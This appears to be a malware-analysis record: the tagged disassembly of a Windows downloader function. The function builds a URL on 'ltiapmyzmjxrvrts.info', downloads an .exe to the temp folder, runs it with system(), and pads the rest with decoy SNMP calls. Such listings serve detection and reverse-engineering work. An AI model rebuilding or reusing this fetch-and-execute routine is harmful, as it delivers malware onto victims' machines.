Function at 0x40109f
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
nop
mov eax, 0
mov dword [ebp - 4], eax
mov eax, 0x7d0
push eax
call sub.kernel32.dll_Sleep
call fcn.00401067
mov dword [ebp - 8], eax
mov eax, pe_nt_image_headers32
push eax
mov eax, 0x40
push eax
call sub.kernel32.dll_LocalAlloc
mov dword [ebp - 0xc], eax
mov eax, 0x104
push eax
mov eax, 0x40
push eax
call sub.kernel32.dll_LocalAlloc
mov dword [ebp - 0x10], eax
mov eax, 0x104
push eax
mov eax, 0x40
push eax
call sub.kernel32.dll_LocalAlloc
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, 0
je 0x40111d
mov eax, dword [ebp - 0xc]
cmp eax, 0
je 0x40111d
jmp 0x40112b
mov eax, 8
push eax
call sub.msvcrt.dll__exit
add esp, 4
mov eax, dword [ebp - 8]
push eax
mov eax, str.__temp___s.exe
push eax
mov eax, 0x104
push eax
mov eax, dword [ebp - 0x14]
push eax
call fcn.0040135e
mov eax, 0x104
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov eax, dword [ebp - 8]
push eax
mov eax, str.ltiapmyzmjxrvrts.info
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, str.http:___s._s_v4__s.exe
push eax
mov eax, pe_nt_image_headers32
push eax
mov eax, dword [ebp - 0xc]
push eax
call fcn.0040135e
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, 0
push eax
call sub.urlmon.dll_URLDownloadToFileA
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, str._s_dowloaded._Result__ld_r_n
push eax
call sub.msvcrt.dll_printf
add esp, 0xc
mov eax, 0x7d0
push eax
call sub.kernel32.dll_Sleep
mov eax, dword [ebp - 0x10]
push eax
call sub.msvcrt.dll_system
add esp, 4
mov eax, str.1804608278
push eax
mov eax, str.Random_string:__s_r_n
push eax
call sub.msvcrt.dll_printf
add esp, 8
mov eax, 0x4020ab
push eax
mov eax, str.d0_s__executing...
push eax
call sub.msvcrt.dll_printf
add esp, 8
mov eax, 0
push eax
mov eax, 0
push eax
call sub.snmpapi.dll_SnmpUtilOctetsCpy
mov eax, 0x4020ad
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, 0x4020ca
push eax
mov eax, str.d5_s__executing...
push eax
call sub.msvcrt.dll_printf
add esp, 8
mov eax, 0
push eax
call sub.snmpapi.dll_SnmpUtilOidFree
mov eax, 0x4020cc
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, 0x4020e9
push eax
mov eax, str.d6_s__executing...
push eax
call sub.msvcrt.dll_printf
add esp, 8
mov eax, 0
push eax
call sub.snmpapi.dll_SnmpUtilPrintOid
mov eax, 0x4020eb
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, 0x402108
push eax
mov eax, str.d9_s__executing...
push eax
call sub.msvcrt.dll_printf
add esp, 8
mov eax, 0
push eax
mov eax, 0
push eax
call sub.snmpapi.dll_SnmpUtilMemReAlloc
mov eax, 0x40210a
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, 0x402127
push eax
mov eax, str.da_s__executing...
push eax
call sub.msvcrt.dll_printf
add esp, 8
call sub.snmpapi.dll_SnmpSvcGetUptime
mov eax, 0x402129
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, 0x402146
push eax
mov eax, str.db_s__executing...
push eax
call sub.msvcrt.dll_printf
add esp, 8
mov eax, 0
push eax
call sub.snmpapi.dll_SnmpUtilVarBindFree
mov eax, 0x402148
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, 0x402165
push eax
mov eax, str.dd_s__executing...
push eax
call sub.msvcrt.dll_printf
add esp, 8
mov eax, 0
push eax
call sub.snmpapi.dll_SnmpUtilOidToA
mov eax, 0x402167
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, 0x402184
push eax
mov eax, str.df_s__executing...
push eax
call sub.msvcrt.dll_printf
add esp, 8
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, 0
push eax
call sub.snmpapi.dll_SnmpUtilOctetsNCmp
mov eax, str.Done._r_n
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, 0
leave
ret